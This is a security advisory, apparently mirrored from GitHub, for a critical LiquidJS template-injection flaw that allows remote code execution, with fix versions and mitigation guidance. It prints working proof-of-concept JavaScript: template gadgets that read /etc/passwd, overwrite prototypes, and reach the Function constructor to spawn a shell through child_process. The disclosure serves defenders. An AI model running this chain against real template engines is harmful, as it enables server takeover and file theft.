Skip to content

GHSA-gf2q-c269-pqgc CVE-2026-45618

LiquidJS is Vulnerable to Remote Code Execution

Critical npm
Severity
10.0 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.82%
Chance of exploitation in the next 30 days. Higher than 57.18% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
10.26.0
Upgrade liquidjs to this version or later

Description

Summary

It is possible to execute arbitrary code with crafted templates

Details

<details> <summary> `1|valueOf` -> `this` when evaluating the filter

</summary>

{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}

</details>

<details> <summary> function calls with a controlled first argument via comprable

</summary>

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />

</details>

<details><summary>changing the prototype of things</summary>

import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />

</details>

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")} 

{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

Impact

What kind of vulnerability is it? Who is impacted? Remote Code Execution.

Affected versions

npm

PackageVulnerableFixed in
liquidjs
< 10.26.0
10.26.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

liquidjs npm → 10.26.0

npm
npm install liquidjs@10.26.0
yarn
yarn add liquidjs@10.26.0
pnpm
pnpm add liquidjs@10.26.0

Severity breakdown

CVSS 3.1 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fwxr-j5w2-587m
LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration
Medium Also affects liquidjs
GHSA-4r6h-5v86-94p3
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
High Also affects liquidjs
GHSA-m7fp-h3p4-hr49
LiquidJS has an infinite loop vulnerability in its `strip_html` filter
High Also affects liquidjs
GHSA-g357-x5c3-c72p
LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce
High Also affects liquidjs
GHSA-r7g9-xpmj-5fcq
LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
High Also affects liquidjs
GHSA-hh27-hf48-9f5q
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
High Also affects liquidjs
GHSA-9x9p-qf8f-mvjg
LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()`
Medium Also affects liquidjs
GHSA-8xx9-69p8-7jp3
LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body
Medium Also affects liquidjs
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor